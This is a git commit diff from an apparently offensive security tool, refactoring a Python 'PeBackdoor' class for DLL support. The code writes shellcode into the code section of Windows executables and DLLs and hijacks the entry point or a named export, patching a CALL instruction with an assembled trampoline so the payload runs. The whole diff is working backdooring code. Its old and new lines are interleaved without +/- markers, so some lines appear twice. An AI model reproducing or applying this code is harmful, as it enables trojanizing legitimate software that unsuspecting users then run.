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https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
refactor: better DLL support
This commit is contained in:
Dobin
+50
-138
@@ -27,173 +27,85 @@ class PeBackdoor:
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# Working
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self.shellcodeOffset: int = 0 # from start of the file
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self.shellcodeOffsetRel: int = 0 # from start of the code section
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self.shellcodeAddr: int = 0
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self.backdoorOffsetRel: int = 0 # from start of the code section
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def injectShellcode(self, dllfunc=""):
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sect = self.superpe.get_code_section()
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if sect == None:
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logger.error('Could not find code section in input PE file!')
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return False
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sect_name = sect.Name.decode().rstrip('\x00')
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sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
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logger.debug(f'Backdooring {sect_name} section.')
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if sect_size < len(self.shellcodeData):
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logger.critical(f'''Input shellcode is too large to fit into target PE executable code section!
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Shellcode size : {len(self.shellcodeData)}
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Code section size : {sect_size}
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''')
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if self.superpe.is_dll():
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offset = self.getExportEntryPoint(dllfunc)
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logger.info("--[ Inserting shellcode into DLL at offset 0x{:X} (in {})".format(
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offset, sect_name
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))
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else:
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offset = int((sect_size - len(self.shellcodeData)) / 2)
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logger.info("--[ Inserting shellcode into EXE at offset 0x{:X} (in {})".format(
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offset, sect_name
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))
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self.superpe.pe.set_bytes_at_offset(offset, self.shellcodeData)
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self.shellcodeOffset = offset
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self.shellcodeOffsetRel = offset - sect.PointerToRawData
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rva = self.superpe.pe.get_rva_from_offset(offset)
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p = sect.PointerToRawData + sect.SizeOfRawData - 64
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graph = textwrap.indent(f'''
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Beginning of {sect_name}:
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{textwrap.indent(hexdump(self.superpe.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")}
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Injected shellcode in the middle of {sect_name}:
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{hexdump(self.shellcodeData, offset, 64)}
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Trailing {sect_name} bytes:
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{hexdump(self.superpe.pe.get_data(self.superpe.pe.get_rva_from_offset(p)), p, 64)}
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''', '\t')
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logger.info(f'---[ Shellcode injected into existing code section at RVA 0x{rva:X}')
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logger.debug(graph)
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return True
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def setupShellcodeEntryPoint(self):
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if self.carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
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rva = self.superpe.pe.get_rva_from_offset(self.shellcodeOffset)
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self.superpe.set_entrypoint(rva)
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logger.info(f'Address Of Entry Point changed to: RVA 0x{rva:X}')
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return True
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elif self.carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
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return self.backdoorEntryPoint()
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#elif self.carrier_invoke_style == int(PeBackdoor.Supportedcarrier_invoke_styles.HijackExport):
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# addr = self.getExportEntryPoint()
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# if addr == -1:
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# logger.critical('Could not find any export entry point to hijack! Specify existing DLL Exported function with -e/--export!')
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#
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# return self.backdoorEntryPoint(addr)
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return False
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def getExportEntryPoint(self, exportName):
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def getExportEntryPoint(self, exportName: str):
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dec = lambda x: '???' if x is None else x.decode()
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if len(exportName) == 0:
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raise Exception('Export name not specified! Specify DLL Exported function name to hijack')
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d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
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self.superpe.pe.parse_data_directories(directories=d)
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if self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
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logger.error('No DLL exports found! Specify existing DLL Exported function')
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return -1
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raise Exception('No DLL exports found!')
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exports = [(e.ordinal, dec(e.name)) for e in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols]
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chosen_export = None
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for export in exports:
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logger.debug(f'DLL Export: {export[0]} {export[1]}')
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#logger.debug(f'DLL Export: {export[0]} {export[1]}')
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if export[1].lower() == exportName.lower():
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addr = self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
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logger.info(f'Found DLL Export "{exportName}" at RVA 0x{addr:X} . Attempting to hijack it...')
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return addr
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return -1
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def getRandomExport(self, choose_random=False):
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dec = lambda x: '???' if x is None else x.decode()
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d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
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self.superpe.pe.parse_data_directories(directories=d)
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if self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
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raise Exception('No DLL exports found! Specify existing DLL Exported function')
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exports = [(e.ordinal, dec(e.name)) for e in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols]
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export = exports[0]
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if choose_random:
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export = exports[0]
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name = export[1]
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addr = self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
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chosen_export = export
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break
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#export = exports[0]
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#if choose_random:
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# export = exports[0]
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logger.info("Export: {} {}".format(chosen_export[0], chosen_export[1]))
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name = chosen_export[1]
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#addr = self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
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for exp in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols:
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#logger.info("-- {} {}".format(hex(exp.address), exp.name.decode()))
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if exp.name.decode() == name:
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#print(hex(exp.address), exp.name.decode())
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addr = exp.address
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logger.info(f'Using DLL Export "{name}" at RVA 0x{addr:X} . Attempting to hijack it...')
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return name
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return addr
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def backdoorEntryPoint(self, addr = -1):
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imageBase = self.superpe.pe.OPTIONAL_HEADER.ImageBase
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self.shellcodeAddr = self.superpe.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase
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cs = None
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ks = None
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if self.superpe.arch == 'x86':
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cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32 + capstone.CS_MODE_LITTLE_ENDIAN)
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ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_32 + keystone.KS_MODE_LITTLE_ENDIAN)
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else:
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cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 + capstone.CS_MODE_LITTLE_ENDIAN)
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ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 + keystone.KS_MODE_LITTLE_ENDIAN)
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def backdoor_function(self, function_addr, shellcode_addr):
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#imageBase = self.superpe.pe.OPTIONAL_HEADER.ImageBase
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#self.shellcodeAddr = self.superpe.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase
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cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 + capstone.CS_MODE_LITTLE_ENDIAN)
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ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 + keystone.KS_MODE_LITTLE_ENDIAN)
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cs.detail = True
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ep = addr
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#if addr == -1:
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# ep = self.superpe.get_entrypoint()
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# logger.info("--[ BackdoorEntryPoint(): Use Entry Point 0x{:X}".format(ep))
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#else:
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# ep = addr
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# logger.info("--[ BackdoorEntryPoint(): Use Addr 0x{:X}".format(ep))
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if addr == -1:
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ep = self.superpe.pe.OPTIONAL_HEADER.AddressOfEntryPoint
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ep_ava = ep + self.superpe.pe.OPTIONAL_HEADER.ImageBase
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data = self.superpe.pe.get_memory_mapped_image()[ep:ep+128]
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offset = 0
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logger.debug('Entry Point disasm:')
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#ep_ava = ep + self.superpe.pe.OPTIONAL_HEADER.ImageBase
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#data = self.superpe.pe.get_memory_mapped_image()[ep:ep+128]
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#offset = 0
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#logger.debug('Entry Point disasm:')
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disasmData = self.superpe.pe.get_memory_mapped_image()
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output = self.superpe.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction)
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output = self.superpe.disasmBytes(cs, ks, disasmData, function_addr, 128, self.backdoorInstruction)
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# store offset... by calculating it first FUCK
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section = self.superpe.get_code_section()
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self.backdoorOffsetRel = output - section.VirtualAddress
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if output != 0:
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logger.debug('Now disasm looks like follows: ')
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if False:
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if output != 0:
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logger.debug('Now disasm looks like follows: ')
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disasmData = self.superpe.pe.get_memory_mapped_image()
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self.superpe.disasmBytes(cs, ks, disasmData, output - 32, 32, None, maxDepth = 3)
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disasmData = self.superpe.pe.get_memory_mapped_image()
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self.superpe.disasmBytes(cs, ks, disasmData, output - 32, 32, None, maxDepth = 3)
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logger.debug('\n[>] Inserted backdoor code: ')
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for instr in cs.disasm(bytes(self.compiledTrampoline), output):
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self.superpe.printInstr(instr, 1)
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logger.debug('\n[>] Inserted backdoor code: ')
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for instr in cs.disasm(bytes(self.compiledTrampoline), output):
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self.superpe.printInstr(instr, 1)
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logger.debug('')
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self.superpe.disasmBytes(cs, ks, disasmData, output + len(self.compiledTrampoline), 32, None, maxDepth = 3)
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logger.debug('')
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self.superpe.disasmBytes(cs, ks, disasmData, output + len(self.compiledTrampoline), 32, None, maxDepth = 3)
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else:
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logger.error('Did not find suitable candidate for Entry Point branch hijack!')
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else:
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logger.error('Did not find suitable candidate for Entry Point branch hijack!')
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return output
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@@ -222,7 +134,7 @@ Trailing {sect_name} bytes:
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found |= instr.mnemonic.lower() == 'call'
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if found:
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logger.info(f'--[ Backdooring entry point {instr.mnemonic.upper()} instruction at RVA 0x{instr.address:X} into:')
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logger.info(f'---[ Backdooring entry point {instr.mnemonic.upper()} instruction at RVA 0x{instr.address:X} into:')
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jump = random.choice([
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f'CALL {reg}',
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